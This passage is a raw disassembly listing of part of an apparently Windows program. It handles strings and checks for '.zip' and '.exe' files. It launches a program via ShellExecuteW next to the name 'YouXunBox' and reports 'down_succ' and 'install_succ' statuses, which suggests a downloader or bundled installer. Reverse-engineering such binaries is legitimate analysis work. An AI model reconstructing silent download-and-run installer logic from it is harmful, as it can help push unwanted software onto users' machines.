lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x32
mov edi, dword [0x493478]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412768
cmp eax, dword [edi]
jne 0x412768
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4127a3
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4116a6
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x34]
mov byte [esp + 0xfc], bl
call fcn.00409260
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4127f2
cmp eax, dword [esi]
jne 0x4127f2
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41282d
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4116a6
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x33
mov edi, dword [esp + 0xb0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412875
cmp eax, dword [edi]
jne 0x412875
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4128b0
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4116a6
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x34
mov edi, dword [0x493478]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4128f7
cmp eax, dword [edi]
jne 0x4128f7
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412932
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4116a6
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x44]
mov byte [esp + 0xfc], bl
call fcn.00409260
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412981
cmp eax, dword [esi]
jne 0x412981
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4129bc
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4116a6
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x35
mov edi, dword [esp + 0x78]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412a01
cmp eax, dword [edi]
jne 0x412a01
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412a3c
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4116a6
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x36
mov edi, dword [0x493478]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412a83
cmp eax, dword [edi]
jne 0x412a83
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412abe
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4116a6
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00456d40
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x50]
mov byte [esp + 0xfc], bl
call fcn.00409260
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov edi, esp
mov dword [esp + 0x14], esi
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412b0d
cmp eax, dword [esi]
jne 0x412b0d
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412b50
mov ecx, dword [esp + 0x14]
mov ecx, dword [ecx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4116a6
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov eax, dword [ecx + 4]
lea edx, [eax + eax + 2]
push edx
add ecx, 0x10
push ecx
lea eax, [eax + eax + 2]
push eax
lea ecx, [esi + 0x10]
push ecx
call fcn.00456d40
add esp, 0x10
add esi, 0x10
mov dword [edi], esi
mov byte [esp + 0xf4], 0x37
mov eax, dword [esp + 0xc0]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x48]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x38
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x39
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x7c]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3a
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3b
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa0]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3c
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3d
mov eax, dword [esp + 0xac]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x74]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3e
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3f
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x6c]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x40
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
add esp, 8
mov dword [esp + 0x18], esp
mov esi, esp
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x41
mov eax, dword [esp + 0xcc]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x64]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x42
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x43
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x4c]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x44
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x45
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x5c]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x46
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x47
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x58]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x48
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x49
mov eax, dword [esp + 0xd0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa4]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4a
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x4b
mov eax, dword [esp + 0xc8]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x98]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4c
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x4d
mov eax, dword [esp + 0xc0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xc0]
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4e
mov eax, dword [0x493478]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409260
mov eax, dword [esp + 0x98]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.004142e0
test eax, eax
jne 0x4133c9
mov eax, dword [esp + 0xb4]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.004022a0
mov edx, dword [ebp + 8]
add esp, 4
add eax, 0x10
push edx
mov dword [esi], eax
call fcn.004143b0
test eax, eax
jne 0x4133c9
mov edi, dword [esp + 0x68]
cmp dword [edi - 0xc], eax
je 0x4133c9
push 4
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x30]
call fcn.00404b90
mov byte [esp + 0xf0], 0x4f
mov esi, dword [esp + 0x20]
cmp dword [esi - 0xc], 0
jl 0x413160
push str..zip
push esi
call fcn.0045757f
add esp, 8
test eax, eax
je 0x41313f
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x4131dc
cmp dword [esi - 0xc], 0
jl 0x413160
push str..exe
push esi
call fcn.0045757f
add esp, 8
test eax, eax
je 0x413160
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x4131dc
mov ecx, dword [esp + 0x40]
push ecx
call fcn.004575f6
add esp, 4
push eax
mov eax, dword [esp + 0x48]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xfc], 0x57
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
mov dword [esp + 0x28], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x100], 0x58
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0x100], 0x4f
call fcn.00413bf0
jmp 0x413343
mov edx, dword [esp + 0x4c]
push edx
call fcn.004575f6
add esp, 4
push eax
mov eax, dword [esp + 0x98]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
add esp, 4
mov dword [esi], eax
mov byte [esp + 0xf8], 0x50
mov eax, dword [esp + 0x68]
push eax
call fcn.004575f6
mov ecx, dword [esp + 0x7c]
add esp, 4
push eax
push ecx
call fcn.004575f6
mov edx, dword [esp + 0xa8]
add esp, 4
push eax
push edx
call fcn.004575f6
add esp, 4
push eax
mov eax, dword [esp + 0x64]
push eax
call fcn.004575f6
add esp, 4
push eax
mov eax, dword [esp + 0x58]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x38], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x110], 0x51
mov eax, dword [esp + 0x78]
add eax, 0xfffffff0
mov dword [esp + 0x30], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x114], 0x52
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
mov dword [esp + 0xfc], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x118], 0x53
lea eax, [edi - 0x10]
mov dword [esp + 0x108], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x11c], 0x54
mov eax, dword [esp + 0x70]
mov dword [esp + 0x108], esp
mov esi, esp
add eax, 0xfffffff0
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x120], 0x55
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
mov dword [esp + 0x100], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x124], 0x56
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0xd0], esp
mov esi, esp
push eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0x124], 0x4f
call fcn.00409780
add esp, 0x34
mov edi, dword [esp + 0x30]
mov esi, eax
mov eax, dword [edi - 0xc]
test eax, eax
je 0x413376
cmp esi, 1
je 0x413376
push eax
push edi
lea ecx, [esp + 0x80]
call fcn.00405330
push 1
push 0x47bb70
lea ecx, [esp + 0x80]
call fcn.00405330
mov eax, dword [edi - 0xc]
test eax, eax
je 0x4133a2
test esi, esi
jne 0x4133a2
push eax
push edi
lea ecx, [esp + 0x98]
call fcn.00405330
push 1
push 0x47bb70
lea ecx, [esp + 0x98]
call fcn.00405330
mov byte [esp + 0xf0], bl
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4133c9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
inc eax
cmp eax, dword [esp + 0x2c]
mov dword [esp + 0x24], eax
jle 0x412060
mov esi, dword [ebp + 8]
cmp dword [esi + 0x17c], 0
je 0x41344c
mov eax, dword [esp + 0x34]
test eax, eax
je 0x41344c
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.YouXunBox
lea eax, [esi + 0x174]
push eax
lea ecx, [esp + 0x3c]
push ecx
call fcn.00404c90
mov eax, dword [eax]
mov edx, dword [esp + 0xe0]
add esp, 0xc
push 5
push eax
push 0
push edx
push 0x47c2d8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41344c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x7c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0xa0], esp
mov esi, esp
push eax
mov dword [esp + 0x28], eax
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x59
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.selected
call fcn.00401b80
mov ecx, dword [ebp + 8]
push ecx
mov byte [esp + 0xfc], bl
call fcn.00414bd0
mov edi, dword [esp + 0x78]
push ecx
add edi, 0xfffffff0
mov dword [esp + 0xa0], esp
mov esi, esp
push edi
call fcn.004022a0
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x5a
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.down_succ
call fcn.00401b80
mov edx, dword [ebp + 8]
push edx
mov byte [esp + 0xfc], bl
call fcn.00414bd0
mov esi, dword [esp + 0x90]
push ecx
add esi, 0xfffffff0
mov dword [esp + 0xa0], esp
mov dword [esp + 0x30], esp
push esi
call fcn.004022a0
mov ecx, dword [esp + 0x34]
add eax, 0x10
mov dword [ecx], eax
mov byte [esp + 0xf8], 0x5b
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.install_succ
call fcn.00401b80
mov edx, dword [ebp + 8]
push edx
mov byte [esp + 0xfc], bl
call fcn.00414bd0
mov ebx, dword [ebp + 8]
add ebx, 0x1a4
call fcn.0041d5b0
mov byte [esp + 0xf0], 0x2b
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41355d
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov byte [esp + 0xf0], 0x2a
lea ecx, [edi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41357e
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
mov byte [esp + 0xf0], 0x29
mov eax, dword [esp + 0x20]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4135a3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x28
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4135ce
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x27
mov eax, dword [esp + 0xb8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4135f9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x26
mov eax, dword [esp + 0xc0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413624
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x25
mov eax, dword [esp + 0xc8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41364f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x24
mov eax, dword [esp + 0xa0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41367a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x23
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4136a2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x22
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4136cd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x21
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4136f5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x20
mov eax, dword [esp + 0xc4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413720
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1f
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413748
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1e
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413773
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1d
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41379b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1c
mov eax, dword [esp + 0xbc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4137c6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1b
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4137ee
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1a
mov eax, dword [esp + 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413819
